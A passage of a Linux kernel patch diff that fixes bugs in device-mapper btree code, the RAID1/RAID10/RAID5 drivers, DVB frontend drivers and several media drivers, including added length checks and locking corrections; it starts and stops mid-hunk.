a/drivers/md/persistent-data/dm-btree-internal.h +++ b/drivers/md/persistent-data/dm-btree-internal.h @@ -42,6 +42,12 @@ struct btree_node { } __packed; +/* + * Locks a block using the btree node validator. + */ +int bn_read_lock(struct dm_btree_info *info, dm_block_t b, + struct dm_block **result); + void inc_children(struct dm_transaction_manager *tm, struct btree_node *n, struct dm_btree_value_type *vt); @@ -132,4 +138,10 @@ int lower_bound(struct btree_node *n, uint64_t key); extern struct dm_block_validator btree_node_validator; +/* + * Value type for upper levels of multi-level btrees. + */ +extern void init_le64_type(struct dm_transaction_manager *tm, + struct dm_btree_value_type *vt); + #endif /* DM_BTREE_INTERNAL_H */ diff --git a/drivers/md/persistent-data/dm-btree-remove.c b/drivers/md/persistent-data/dm-btree-remove.c index b88757cd0d1d9..92cd09f3c69b5 100644 --- a/drivers/md/persistent-data/dm-btree-remove.c +++ b/drivers/md/persistent-data/dm-btree-remove.c @@ -301,35 +301,40 @@ static void redistribute3(struct dm_btree_info *info, struct btree_node *parent, { int s; uint32_t max_entries = le32_to_cpu(left->header.max_entries); - unsigned target = (nr_left + nr_center + nr_right) / 3; - BUG_ON(target > max_entries); + unsigned total = nr_left + nr_center + nr_right; + unsigned target_right = total / 3; + unsigned remainder = (target_right * 3) != total; + unsigned target_left = target_right + remainder; + + BUG_ON(target_left > max_entries); + BUG_ON(target_right > max_entries); if (nr_left < nr_right) { - s = nr_left - target; + s = nr_left - target_left; if (s < 0 && nr_center < -s) { /* not enough in central node */ - shift(left, center, nr_center); - s = nr_center - target; + shift(left, center, -nr_center); + s += nr_center; shift(left, right, s); nr_right += s; } else shift(left, center, s); - shift(center, right, target - nr_right); + shift(center, right, target_right - nr_right); } else { - s = target - nr_right; + s = target_right - nr_right; if (s > 0 && nr_center < s) { /* not enough in central node */ shift(center, right, nr_center); - s = target - nr_center; + s -= nr_center; shift(left, right, s); nr_left -= s; } else shift(center, right, s); - shift(left, center, nr_left - target); + shift(left, center, nr_left - target_left); } *key_ptr(parent, c->index) = center->keys[0]; @@ -544,14 +549,6 @@ static int remove_raw(struct shadow_spine *s, struct dm_btree_info *info, return r; } -static struct dm_btree_value_type le64_type = { - .context = NULL, - .size = sizeof(__le64), - .inc = NULL, - .dec = NULL, - .equal = NULL -}; - int dm_btree_remove(struct dm_btree_info *info, dm_block_t root, uint64_t *keys, dm_block_t *new_root) { @@ -559,12 +556,14 @@ int dm_btree_remove(struct dm_btree_info *info, dm_block_t root, int index = 0, r = 0; struct shadow_spine spine; struct btree_node *n; + struct dm_btree_value_type le64_vt; + init_le64_type(info->tm, &le64_vt); init_shadow_spine(&spine, info); for (level = 0; level < info->levels; level++) { r = remove_raw(&spine, info, (level == last_level ? - &info->value_type : &le64_type), + &info->value_type : &le64_vt), root, keys[level], (unsigned *)&index); if (r < 0) break; diff --git a/drivers/md/persistent-data/dm-btree-spine.c b/drivers/md/persistent-data/dm-btree-spine.c index cf9fd676ae444..0dee514ba4c5f 100644 --- a/drivers/md/persistent-data/dm-btree-spine.c +++ b/drivers/md/persistent-data/dm-btree-spine.c @@ -92,7 +92,7 @@ struct dm_block_validator btree_node_validator = { /*----------------------------------------------------------------*/ -static int bn_read_lock(struct dm_btree_info *info, dm_block_t b, +int bn_read_lock(struct dm_btree_info *info, dm_block_t b, struct dm_block **result) { return dm_tm_read_lock(info->tm, b, &btree_node_validator, result); @@ -249,3 +249,40 @@ int shadow_root(struct shadow_spine *s) { return s->root; } + +static void le64_inc(void *context, const void *value_le) +{ + struct dm_transaction_manager *tm = context; + __le64 v_le; + + memcpy(&v_le, value_le, sizeof(v_le)); + dm_tm_inc(tm, le64_to_cpu(v_le)); +} + +static void le64_dec(void *context, const void *value_le) +{ + struct dm_transaction_manager *tm = context; + __le64 v_le; + + memcpy(&v_le, value_le, sizeof(v_le)); + dm_tm_dec(tm, le64_to_cpu(v_le)); +} + +static int le64_equal(void *context, const void *value1_le, const void *value2_le) +{ + __le64 v1_le, v2_le; + + memcpy(&v1_le, value1_le, sizeof(v1_le)); + memcpy(&v2_le, value2_le, sizeof(v2_le)); + return v1_le == v2_le; +} + +void init_le64_type(struct dm_transaction_manager *tm, + struct dm_btree_value_type *vt) +{ + vt->context = tm; + vt->size = sizeof(__le64); + vt->inc = le64_inc; + vt->dec = le64_dec; + vt->equal = le64_equal; +} diff --git a/drivers/md/persistent-data/dm-btree.c b/drivers/md/persistent-data/dm-btree.c index 35865425e4b44..b07fcda9ca716 100644 --- a/drivers/md/persistent-data/dm-btree.c +++ b/drivers/md/persistent-data/dm-btree.c @@ -235,12 +235,22 @@ static bool is_internal_level(struct dm_btree_info *info, struct frame *f) return f->level < (info->levels - 1); } +static void unlock_all_frames(struct del_stack *s) +{ + struct frame *f; + + while (unprocessed_frames(s)) { + f = s->spine + s->top--; + dm_tm_unlock(s->tm, f->b); + } +} + int dm_btree_del(struct dm_btree_info *info, dm_block_t root) { int r; struct del_stack *s; - s = kmalloc(sizeof(*s), GFP_KERNEL); + s = kmalloc(sizeof(*s), GFP_NOIO); if (!s) return -ENOMEM; s->tm = info->tm; @@ -290,9 +300,13 @@ int dm_btree_del(struct dm_btree_info *info, dm_block_t root) f->current_child = f->nr_children; } } - out: + if (r) { + /* cleanup all frames of del_stack */ + unlock_all_frames(s); + } kfree(s); + return r; } EXPORT_SYMBOL_GPL(dm_btree_del); @@ -455,8 +469,10 @@ static int btree_split_sibling(struct shadow_spine *s, dm_block_t root, r = insert_at(sizeof(__le64), pn, parent_index + 1, le64_to_cpu(rn->keys[0]), &location); - if (r) + if (r) { + unlock_block(s->info, right); return r; + } if (key < le64_to_cpu(rn->keys[0])) { unlock_block(s->info, right); @@ -507,7 +523,7 @@ static int btree_split_beneath(struct shadow_spine *s, uint64_t key) r = new_block(s->info, &right); if (r < 0) { - /* FIXME: put left */ + unlock_block(s->info, left); return r; } @@ -651,12 +667,7 @@ static int insert(struct dm_btree_info *info, dm_block_t root, struct btree_node *n; struct dm_btree_value_type le64_type; - le64_type.context = NULL; - le64_type.size = sizeof(__le64); - le64_type.inc = NULL; - le64_type.dec = NULL; - le64_type.equal = NULL; - + init_le64_type(info->tm, &le64_type); init_shadow_spine(&spine, info); for (level = 0; level < (info->levels - 1); level++) { @@ -812,22 +823,26 @@ EXPORT_SYMBOL_GPL(dm_btree_find_highest_key); * FIXME: We shouldn't use a recursive algorithm when we have limited stack * space. Also this only works for single level trees. */ -static int walk_node(struct ro_spine *s, dm_block_t block, +static int walk_node(struct dm_btree_info *info, dm_block_t block, int (*fn)(void *context, uint64_t *keys, void *leaf), void *context) { int r; unsigned i, nr; + struct dm_block *node; struct btree_node *n; uint64_t keys; - r = ro_step(s, block); - n = ro_node(s); + r = bn_read_lock(info, block, &node); + if (r) + return r; + + n = dm_block_data(node); nr = le32_to_cpu(n->header.nr_entries); for (i = 0; i < nr; i++) { if (le32_to_cpu(n->header.flags) & INTERNAL_NODE) { - r = walk_node(s, value64(n, i), fn, context); + r = walk_node(info, value64(n, i), fn, context); if (r) goto out; } else { @@ -839,7 +854,7 @@ static int walk_node(struct ro_spine *s, dm_block_t block, } out: - ro_pop(s); + dm_tm_unlock(info->tm, node); return r; } @@ -847,15 +862,7 @@ int dm_btree_walk(struct dm_btree_info *info, dm_block_t root, int (*fn)(void *context, uint64_t *keys, void *leaf), void *context) { - int r; - struct ro_spine spine; - BUG_ON(info->levels > 1); - - init_ro_spine(&spine, info); - r = walk_node(&spine, root, fn, context); - exit_ro_spine(&spine); - - return r; + return walk_node(info, root, fn, context); } EXPORT_SYMBOL_GPL(dm_btree_walk); diff --git a/drivers/md/persistent-data/dm-space-map-metadata.c b/drivers/md/persistent-data/dm-space-map-metadata.c index afb419e514bf5..056d09c33af14 100644 --- a/drivers/md/persistent-data/dm-space-map-metadata.c +++ b/drivers/md/persistent-data/dm-space-map-metadata.c @@ -493,7 +493,9 @@ static int sm_bootstrap_get_nr_blocks(struct dm_space_map *sm, dm_block_t *count { struct sm_metadata *smm = container_of(sm, struct sm_metadata, sm); - return smm->ll.nr_blocks; + *count = smm->ll.nr_blocks; + + return 0; } static int sm_bootstrap_get_nr_free(struct dm_space_map *sm, dm_block_t *count) diff --git a/drivers/md/raid1.c b/drivers/md/raid1.c index 75771b2077c00..63d42ae56a1ca 100644 --- a/drivers/md/raid1.c +++ b/drivers/md/raid1.c @@ -327,7 +327,7 @@ static void raid1_end_read_request(struct bio *bio, int error) spin_lock_irqsave(&conf->device_lock, flags); if (r1_bio->mddev->degraded == conf->raid_disks || (r1_bio->mddev->degraded == conf->raid_disks-1 && - !test_bit(Faulty, &conf->mirrors[mirror].rdev->flags))) + test_bit(In_sync, &conf->mirrors[mirror].rdev->flags))) uptodate = 1; spin_unlock_irqrestore(&conf->device_lock, flags); } @@ -557,7 +557,7 @@ static int read_balance(struct r1conf *conf, struct r1bio *r1_bio, int *max_sect if (test_bit(WriteMostly, &rdev->flags)) { /* Don't balance among write-mostly, just * use the first as a last resort */ - if (best_disk < 0) { + if (best_dist_disk < 0) { if (is_badblock(rdev, this_sector, sectors, &first_bad, &bad_sectors)) { if (first_bad < this_sector) @@ -566,7 +566,8 @@ static int read_balance(struct r1conf *conf, struct r1bio *r1_bio, int *max_sect best_good_sectors = first_bad - this_sector; } else best_good_sectors = sectors; - best_disk = disk; + best_dist_disk = disk; + best_pending_disk = disk; } continue; } @@ -1381,6 +1382,7 @@ static void error(struct mddev *mddev, struct md_rdev *rdev) { char b[BDEVNAME_SIZE]; struct r1conf *conf = mddev->private; + unsigned long flags; /* * If it is not operational, then we have already marked it as dead @@ -1400,18 +1402,17 @@ static void error(struct mddev *mddev, struct md_rdev *rdev) return; } set_bit(Blocked, &rdev->flags); + spin_lock_irqsave(&conf->device_lock, flags); if (test_and_clear_bit(In_sync, &rdev->flags)) { - unsigned long flags; - spin_lock_irqsave(&conf->device_lock, flags); mddev->degraded++; set_bit(Faulty, &rdev->flags); - spin_unlock_irqrestore(&conf->device_lock, flags); - /* - * if recovery is running, make sure it aborts. - */ - set_bit(MD_RECOVERY_INTR, &mddev->recovery); } else set_bit(Faulty, &rdev->flags); + spin_unlock_irqrestore(&conf->device_lock, flags); + /* + * if recovery is running, make sure it aborts. + */ + set_bit(MD_RECOVERY_INTR, &mddev->recovery); set_bit(MD_CHANGE_DEVS, &mddev->flags); printk(KERN_ALERT "md/raid1:%s: Disk failure on %s, disabling device.\n" @@ -1465,7 +1466,10 @@ static int raid1_spare_active(struct mddev *mddev) * Find all failed disks within the RAID1 configuration * and mark them readable. * Called under mddev lock, so rcu protection not needed. + * device_lock used to avoid races with raid1_end_read_request + * which expects 'In_sync' flags and ->degraded to be consistent. */ + spin_lock_irqsave(&conf->device_lock, flags); for (i = 0; i < conf->raid_disks; i++) { struct md_rdev *rdev = conf->mirrors[i].rdev; struct md_rdev *repl = conf->mirrors[conf->raid_disks + i].rdev; @@ -1495,7 +1499,6 @@ static int raid1_spare_active(struct mddev *mddev) sysfs_notify_dirent_safe(rdev->sysfs_state); } } - spin_lock_irqsave(&conf->device_lock, flags); mddev->degraded -= count; spin_unlock_irqrestore(&conf->device_lock, flags); @@ -2051,7 +2054,7 @@ static void fix_read_error(struct r1conf *conf, int read_disk, d--; rdev = conf->mirrors[d].rdev; if (rdev && - test_bit(In_sync, &rdev->flags)) + !test_bit(Faulty, &rdev->flags)) r1_sync_page_io(rdev, sect, s, conf->tmppage, WRITE); } @@ -2063,7 +2066,7 @@ static void fix_read_error(struct r1conf *conf, int read_disk, d--; rdev = conf->mirrors[d].rdev; if (rdev && - test_bit(In_sync, &rdev->flags)) { + !test_bit(Faulty, &rdev->flags)) { if (r1_sync_page_io(rdev, sect, s, conf->tmppage, READ)) { atomic_add(s, &rdev->corrected_errors); @@ -2144,7 +2147,7 @@ static int narrow_write_error(struct r1bio *r1_bio, int i) md_trim_bio(wbio, sector - r1_bio->sector, sectors); wbio->bi_sector += rdev->data_offset; wbio->bi_bdev = rdev->bdev; - if (submit_bio_wait(WRITE, wbio) == 0) + if (submit_bio_wait(WRITE, wbio) < 0) /* failure! */ ok = rdev_set_badblocks(rdev, sector, sectors, 0) diff --git a/drivers/md/raid10.c b/drivers/md/raid10.c index d2f8cd332b4a6..f53f4f8955026 100644 --- a/drivers/md/raid10.c +++ b/drivers/md/raid10.c @@ -1681,11 +1681,11 @@ static void error(struct mddev *mddev, struct md_rdev *rdev) spin_lock_irqsave(&conf->device_lock, flags); mddev->degraded++; spin_unlock_irqrestore(&conf->device_lock, flags); - /* - * if recovery is running, make sure it aborts. - */ - set_bit(MD_RECOVERY_INTR, &mddev->recovery); } + /* + * If recovery is running, make sure it aborts. + */ + set_bit(MD_RECOVERY_INTR, &mddev->recovery); set_bit(Blocked, &rdev->flags); set_bit(Faulty, &rdev->flags); set_bit(MD_CHANGE_DEVS, &mddev->flags); @@ -2597,7 +2597,7 @@ static int narrow_write_error(struct r10bio *r10_bio, int i) choose_data_offset(r10_bio, rdev) + (sector - r10_bio->sector)); wbio->bi_bdev = rdev->bdev; - if (submit_bio_wait(WRITE, wbio) == 0) + if (submit_bio_wait(WRITE, wbio) < 0) /* Failure! */ ok = rdev_set_badblocks(rdev, sector, sectors, 0) @@ -2948,6 +2948,7 @@ static sector_t sync_request(struct mddev *mddev, sector_t sector_nr, */ if (test_bit(MD_RECOVERY_RESHAPE, &mddev->recovery)) { end_reshape(conf); + close_sync(conf); return 0; } @@ -3577,6 +3578,7 @@ static struct r10conf *setup_conf(struct mddev *mddev) /* far_copies must be 1 */ conf->prev.stride = conf->dev_sectors; } + conf->reshape_safe = conf->reshape_progress; spin_lock_init(&conf->device_lock); INIT_LIST_HEAD(&conf->retry_list); @@ -3784,7 +3786,6 @@ static int run(struct mddev *mddev) } conf->offset_diff = min_offset_diff; - conf->reshape_safe = conf->reshape_progress; clear_bit(MD_RECOVERY_SYNC, &mddev->recovery); clear_bit(MD_RECOVERY_CHECK, &mddev->recovery); set_bit(MD_RECOVERY_RESHAPE, &mddev->recovery); @@ -4129,6 +4130,7 @@ static int raid10_start_reshape(struct mddev *mddev) conf->reshape_progress = size; } else conf->reshape_progress = 0; + conf->reshape_safe = conf->reshape_progress; spin_unlock_irq(&conf->device_lock); if (mddev->delta_disks && mddev->bitmap) { @@ -4195,6 +4197,7 @@ static int raid10_start_reshape(struct mddev *mddev) rdev->new_data_offset = rdev->data_offset; smp_wmb(); conf->reshape_progress = MaxSector; + conf->reshape_safe = MaxSector; mddev->reshape_position = MaxSector; spin_unlock_irq(&conf->device_lock); return ret; @@ -4398,7 +4401,7 @@ static sector_t reshape_request(struct mddev *mddev, sector_t sector_nr, read_bio->bi_private = r10_bio; read_bio->bi_end_io = end_sync_read; read_bio->bi_rw = READ; - read_bio->bi_flags &= ~(BIO_POOL_MASK - 1); + read_bio->bi_flags &= (~0UL << BIO_RESET_BITS); read_bio->bi_flags |= 1 << BIO_UPTODATE; read_bio->bi_vcnt = 0; read_bio->bi_size = 0; @@ -4542,6 +4545,7 @@ static void end_reshape(struct r10conf *conf) md_finish_reshape(conf->mddev); smp_wmb(); conf->reshape_progress = MaxSector; + conf->reshape_safe = MaxSector; spin_unlock_irq(&conf->device_lock); /* read-ahead size must cover two whole stripes, which is diff --git a/drivers/md/raid5.c b/drivers/md/raid5.c index 00784137f7320..73f51a62c148b 100644 --- a/drivers/md/raid5.c +++ b/drivers/md/raid5.c @@ -60,6 +60,10 @@ #include "raid0.h" #include "bitmap.h" +static bool devices_handle_discard_safely = false; +module_param(devices_handle_discard_safely, bool, 0644); +MODULE_PARM_DESC(devices_handle_discard_safely, + "Set to Y if all devices in each array reliably return zeroes on reads from discarded regions"); /* * Stripe cache */ @@ -1697,7 +1701,8 @@ static int resize_stripes(struct r5conf *conf, int newsize) conf->slab_cache = sc; conf->active_name = 1-conf->active_name; - conf->pool_size = newsize; + if (!err) + conf->pool_size = newsize; return err; } @@ -2674,7 +2679,8 @@ static int fetch_block(struct stripe_head *sh, struct stripe_head_state *s, (s->failed >= 2 && fdev[1]->toread) || (sh->raid_conf->level <= 5 && s->failed && fdev[0]->towrite && !test_bit(R5_OVERWRITE, &fdev[0]->flags)) || - (sh->raid_conf->level == 6 && s->failed && s->to_write))) { + ((sh->raid_conf->level == 6 || sh->sector >= sh->raid_conf->mddev->recovery_cp) + && s->failed && s->to_write))) { /* we would like to get this block, possibly by computing it, * otherwise read it if the backing disk is insync */ @@ -2848,7 +2854,8 @@ static void handle_stripe_dirtying(struct r5conf *conf, * generate correct data from the parity. */ if (conf->max_degraded == 2 || - (recovery_cp < MaxSector && sh->sector >= recovery_cp)) { + (recovery_cp < MaxSector && sh->sector >= recovery_cp && + s->failed == 0)) { /* Calculate the real rcw later - for now make it * look like rcw is cheaper */ @@ -3561,6 +3568,8 @@ static void handle_stripe(struct stripe_head *sh) set_bit(R5_Wantwrite, &dev->flags); if (prexor) continue; + if (s.failed > 1) + continue; if (!test_bit(R5_Insync, &dev->flags) || ((i == sh->pd_idx || i == sh->qd_idx) && s.failed == 0)) @@ -5609,7 +5618,7 @@ static int run(struct mddev *mddev) mddev->queue->limits.discard_granularity = stripe; /* * unaligned part of discard request will be ignored, so can't - * guarantee discard_zerors_data + * guarantee discard_zeroes_data */ mddev->queue->limits.discard_zeroes_data = 0; @@ -5634,11 +5643,23 @@ static int run(struct mddev *mddev) !bdev_get_queue(rdev->bdev)-> limits.discard_zeroes_data) discard_supported = false; + /* Unfortunately, discard_zeroes_data is not currently + * a guarantee - just a hint. So we only allow DISCARD + * if the sysadmin has confirmed that only safe devices + * are in use by setting a module parameter. + */ + if (!devices_handle_discard_safely) { + if (discard_supported) { + pr_info("md/raid456: discard support disabled due to uncertainty.\n"); + pr_info("Set raid456.devices_handle_discard_safely=Y to override.\n"); + } + discard_supported = false; + } } if (discard_supported && - mddev->queue->limits.max_discard_sectors >= stripe && - mddev->queue->limits.discard_granularity >= stripe) + mddev->queue->limits.max_discard_sectors >= (stripe >> 9) && + mddev->queue->limits.discard_granularity >= stripe) queue_flag_set_unlocked(QUEUE_FLAG_DISCARD, mddev->queue); else diff --git a/drivers/media/dvb-core/dvb_frontend.c b/drivers/media/dvb-core/dvb_frontend.c index 1f925e8569749..46a984291b7d4 100644 --- a/drivers/media/dvb-core/dvb_frontend.c +++ b/drivers/media/dvb-core/dvb_frontend.c @@ -2195,9 +2195,9 @@ static int dvb_frontend_ioctl_legacy(struct file *file, dev_dbg(fe->dvb->device, "%s: current delivery system on cache: %d, V3 type: %d\n", __func__, c->delivery_system, fe->ops.info.type); - /* Force the CAN_INVERSION_AUTO bit on. If the frontend doesn't - * do it, it is done for it. */ - info->caps |= FE_CAN_INVERSION_AUTO; + /* Set CAN_INVERSION_AUTO bit on in other than oneshot mode */ + if (!(fepriv->tune_mode_flags & FE_TUNE_MODE_ONESHOT)) + info->caps |= FE_CAN_INVERSION_AUTO; err = 0; break; } diff --git a/drivers/media/dvb-frontends/af9013.c b/drivers/media/dvb-frontends/af9013.c index fb504f1e91250..5930aee6b5d05 100644 --- a/drivers/media/dvb-frontends/af9013.c +++ b/drivers/media/dvb-frontends/af9013.c @@ -606,6 +606,10 @@ static int af9013_set_frontend(struct dvb_frontend *fe) } } + /* Return an error if can't find bandwidth or the right clock */ + if (i == ARRAY_SIZE(coeff_lut)) + return -EINVAL; + ret = af9013_wr_regs(state, 0xae00, coeff_lut[i].val, sizeof(coeff_lut[i].val)); } diff --git a/drivers/media/dvb-frontends/cx24116.c b/drivers/media/dvb-frontends/cx24116.c index 2916d7c74a1da..7bc68b355c0b9 100644 --- a/drivers/media/dvb-frontends/cx24116.c +++ b/drivers/media/dvb-frontends/cx24116.c @@ -963,6 +963,10 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, struct cx24116_state *state = fe->demodulator_priv; int i, ret; + /* Validate length */ + if (d->msg_len > sizeof(d->msg)) + return -EINVAL; + /* Dump DiSEqC message */ if (debug) { printk(KERN_INFO "cx24116: %s(", __func__); @@ -974,10 +978,6 @@ static int cx24116_send_diseqc_msg(struct dvb_frontend *fe, printk(") toneburst=%d\n", toneburst); } - /* Validate length */ - if (d->msg_len > (CX24116_ARGLEN - CX24116_DISEQC_MSGOFS)) - return -EINVAL; - /* DiSEqC message */ for (i = 0; i < d->msg_len; i++) state->dsec_cmd.args[CX24116_DISEQC_MSGOFS + i] = d->msg[i]; diff --git a/drivers/media/dvb-frontends/ds3000.c b/drivers/media/dvb-frontends/ds3000.c index 1e344b033277c..22e8c2032f6d8 100644 --- a/drivers/media/dvb-frontends/ds3000.c +++ b/drivers/media/dvb-frontends/ds3000.c @@ -864,6 +864,13 @@ struct dvb_frontend *ds3000_attach(const struct ds3000_config *config, memcpy(&state->frontend.ops, &ds3000_ops, sizeof(struct dvb_frontend_ops)); state->frontend.demodulator_priv = state; + + /* + * Some devices like T480 starts with voltage on. Be sure + * to turn voltage off during init, as this can otherwise + * interfere with Unicable SCR systems. + */ + ds3000_set_voltage(&state->frontend, SEC_VOLTAGE_OFF); return &state->frontend; error3: diff --git a/drivers/media/dvb-frontends/s5h1420.c b/drivers/media/dvb-frontends/s5h1420.c index 93eeaf7118fd0..0b4f8fe6bf990 100644 --- a/drivers/media/dvb-frontends/s5h1420.c +++ b/drivers/media/dvb-frontends/s5h1420.c @@ -180,7 +180,7 @@ static int s5h1420_send_master_cmd (struct dvb_frontend* fe, int result = 0; dprintk("enter %s\n", __func__); - if (cmd->msg_len > 8) + if (cmd->msg_len > sizeof(cmd->msg)) return -EINVAL; /* setup for DISEQC */ diff --git a/drivers/media/dvb-frontends/stb6100.c b/drivers/media/dvb-frontends/stb6100.c index cea175d198907..4ef8a5c7003e9 100644 --- a/drivers/media/dvb-frontends/stb6100.c +++ b/drivers/media/dvb-frontends/stb6100.c @@ -193,7 +193,7 @@ static int stb6100_write_reg_range(struct stb6100_state *state, u8 buf[], int st .len = len + 1 }; - if (1 + len > sizeof(buf)) { + if (1 + len > sizeof(cmdbuf)) { printk(KERN_WARNING "%s: i2c wr: len=%d is too big!\n", KBUILD_MODNAME, len); diff --git a/drivers/media/dvb-frontends/tda1004x.c b/drivers/media/dvb-frontends/tda1004x.c index a2631be7ffac9..08e0f0dd8728b 100644 --- a/drivers/media/dvb-frontends/tda1004x.c +++ b/drivers/media/dvb-frontends/tda1004x.c @@ -903,9 +903,18 @@ static int tda1004x_get_fe(struct dvb_frontend *fe) { struct dtv_frontend_properties *fe_params = &fe->dtv_property_cache; struct tda1004x_state* state = fe->demodulator_priv; + int status; dprintk("%s\n", __func__); + status = tda1004x_read_byte(state, TDA1004X_STATUS_CD); + if (status == -1) + return -EIO; + + /* Only update the properties cache if device is locked */ + if (!(status & 8)) + return 0; + // inversion status fe_params->inversion = INVERSION_OFF; if (tda1004x_read_byte(state, TDA1004X_CONFC1) & 0x20) diff --git a/drivers/media/dvb-frontends/tda10071.c b/drivers/media/dvb-frontends/tda10071.c index 36eb27d3fdf1e..def7812d7b226 100644 --- a/drivers/media/dvb-frontends/tda10071.c +++ b/drivers/media/dvb-frontends/tda10071.c @@ -667,6 +667,7 @@ static int tda10071_set_frontend(struct dvb_frontend *fe) struct dtv_frontend_properties *c = &fe->dtv_property_cache; int ret, i; u8 mode, rolloff, pilot, inversion, div; + fe_modulation_t modulation; dev_dbg(&priv->i2c->dev, "%s: delivery_system=%d modulation=%d " \ "frequency=%d symbol_rate=%d inversion=%d pilot=%d " \ @@ -701,10 +702,13 @@ static int tda10071_set_frontend(struct dvb_frontend *fe) switch (c->delivery_system) { case SYS_DVBS: + modulation = QPSK; rolloff = 0; pilot = 2; break; case SYS_DVBS2: + modulation = c->modulation; + switch (c->rolloff) { case ROLLOFF_20: rolloff = 2; @@ -749,7 +753,7 @@ static int tda10071_set_frontend(struct dvb_frontend *fe) for (i = 0, mode = 0xff; i < ARRAY_SIZE(TDA10071_MODCOD); i++) { if (c->delivery_system == TDA10071_MODCOD[i].delivery_system && - c->modulation == TDA10071_MODCOD[i].modulation && + modulation == TDA10071_MODCOD[i].modulation && c->fec_inner == TDA10071_MODCOD[i].fec) { mode = TDA10071_MODCOD[i].val; dev_dbg(&priv->i2c->dev, "%s: mode found=%02x\n", diff --git a/drivers/media/i2c/smiapp-pll.c b/drivers/media/i2c/smiapp-pll.c index d8d5da7c52dbb..942305129e150 100644 --- a/drivers/media/i2c/smiapp-pll.c +++ b/drivers/media/i2c/smiapp-pll.c @@ -67,7 +67,7 @@ static void print_pll(struct device *dev, struct smiapp_pll *pll) { dev_dbg(dev, "pre_pll_clk_div\t%d\n", pll->pre_pll_clk_div); dev_dbg(dev, "pll_multiplier \t%d\n", pll->pll_multiplier); - if (pll->flags != SMIAPP_PLL_FLAG_NO_OP_CLOCKS) { + if (!(pll->flags & SMIAPP_PLL_FLAG_NO_OP_CLOCKS)) { dev_dbg(dev, "op_sys_clk_div \t%d\n", pll->op_sys_clk_div); dev_dbg(dev, "op_pix_clk_div \t%d\n", pll->op_pix_clk_div); } @@ -77,7 +77,7 @@ static void print_pll(struct device *dev, struct smiapp_pll *pll) dev_dbg(dev, "ext_clk_freq_hz \t%d\n", pll->ext_clk_freq_hz); dev_dbg(dev, "pll_ip_clk_freq_hz \t%d\n", pll->pll_ip_clk_freq_hz); dev_dbg(dev, "pll_op_clk_freq_hz \t%d\n", pll->pll_op_clk_freq_hz); - if (pll->flags & SMIAPP_PLL_FLAG_NO_OP_CLOCKS) { + if (!(pll->flags & SMIAPP_PLL_FLAG_NO_OP_CLOCKS)) { dev_dbg(dev, "op_sys_clk_freq_hz \t%d\n", pll->op_sys_clk_freq_hz); dev_dbg(dev, "op_pix_clk_freq_hz \t%d\n", diff --git a/drivers/media/i2c/smiapp/smiapp-core.c b/drivers/media/i2c/smiapp/smiapp-core.c index cae4f46838517..de8bc35d8b0bf 100644 --- a/drivers/media/i2c/smiapp/smiapp-core.c +++ b/drivers/media/i2c/smiapp/smiapp-core.c @@ -2139,7 +2139,7 @@ static int smiapp_set_selection(struct v4l2_subdev *subdev, ret = smiapp_set_compose(subdev, fh, sel); break; default: - BUG(); + ret = -EINVAL; } mutex_unlock(&sensor->mutex); @@ -2629,7 +2629,9 @@ static int smiapp_registered(struct v4l2_subdev *subdev) pll->flags |= SMIAPP_PLL_FLAG_OP_PIX_CLOCK_PER_LANE; pll->scale_n = sensor->limits[SMIAPP_LIMIT_SCALER_N_MIN]; + mutex_lock(&sensor->mutex); rval = smiapp_update_mode(sensor); + mutex_unlock(&sensor->mutex); if (rval) { dev_err(&client->dev, "update mode failed\n"); goto out_nvm_release; diff --git a/drivers/media/i2c/tda7432.c b/drivers/media/i2c/tda7432.c index 28b5121881f57..09f4387dbc49d 100644 --- a/drivers/media/i2c/tda7432.c +++ b/drivers/media/i2c/tda7432.c @@ -293,7 +293,7 @@ static int tda7432_s_ctrl(struct v4l2_ctrl *ctrl) if (t->mute->val) { lf |= TDA7432_MUTE; lr |= TDA7432_MUTE; - lf |= TDA7432_MUTE; + rf |= TDA7432_MUTE; rr |= TDA7432_MUTE; } /* Mute & update balance*/ diff --git a/drivers/media/media-device.c b/drivers/media/media-device.c index 703560fa5e73b..88c1606fd5555 100644 --- a/drivers/media/media-device.c +++ b/drivers/media/media-device.c @@ -106,8 +106,6 @@ static long media_device_enum_entities(struct media_device *mdev, if (ent->name) { strncpy(u_ent.name, ent->name, sizeof(u_ent.name)); u_ent.name[sizeof(u_ent.name) - 1] = '\0'; - } else { - memset(u_ent.name, 0, sizeof(u_ent.name)); } u_ent.type = ent->type; u_ent.revision = ent->revision; diff --git a/drivers/media/pci/bt8xx/bttv-driver.c b/drivers/media/pci/bt8xx/bttv-driver.c index e2633d9270b75..aa4519e5cafa9 100644 --- a/drivers/media/pci/bt8xx/bttv-driver.c +++ b/drivers/media/pci/bt8xx/bttv-driver.c @@ -2376,6 +2376,19 @@ static int bttv_g_fmt_vid_overlay(struct file *file, void *priv, return 0; } +static void bttv_get_width_mask_vid_cap(const struct bttv_format *fmt, + unsigned int *width_mask, + unsigned int *width_bias) +{ + if (fmt->flags & FORMAT_FLAGS_PLANAR) { + *width_mask = ~15; /* width must be a multiple of 16 pixels */ + *width_bias = 8; /* nearest */ + } else { + *width_mask = ~3; /* width must be a multiple of 4 pixels */ + *width_bias = 2; /* nearest */ + } +} + static int bttv_try_fmt_vid_cap(struct file *file, void *priv, struct v4l2_format *f) { @@ -2385,6 +2398,7 @@ static int bttv_try_fmt_vid_cap(struct file *file, void *priv, enum v4l2_field field; __s32 width, height; __s32 height2; + unsigned int width_mask, width_bias; int rc; fmt = format_by_fourcc(f->fmt.pix.pixelformat); @@ -2417,9 +2431,9 @@ static int bttv_try_fmt_vid_cap(struct file *file, void *priv, width = f->fmt.pix.width; height = f->fmt.pix.height; + bttv_get_width_mask_vid_cap(fmt, &width_mask, &width_bias); rc = limit_scaled_size_lock(fh, &width, &height, field, - /* width_mask: 4 pixels */ ~3, - /* width_bias: nearest */ 2, + width_mask, width_bias, /* adjust_size */ 1, /* adjust_crop */ 0); if (0 != rc) @@ -2452,6 +2466,7 @@ static int bttv_s_fmt_vid_cap(struct file *file, void *priv, struct bttv_fh *fh = priv; struct bttv *btv = fh->btv; __s32 width, height; + unsigned int width_mask, width_bias; enum v4l2_field field; retval = bttv_switch_type(fh, f->type); @@ -2466,9 +2481,10 @@ static int bttv_s_fmt_vid_cap(struct file *file, void *priv, height = f->fmt.pix.height; field = f->fmt.pix.field; + fmt = format_by_fourcc(f->fmt.pix.pixelformat); + bttv_get_width_mask_vid_cap(fmt, &width_mask, &width_bias); retval = limit_scaled_size_lock(fh, &width, &height, f->fmt.pix.field, - /* width_mask: 4 pixels */ ~3, - /* width_bias: nearest */ 2, + width_mask, width_bias, 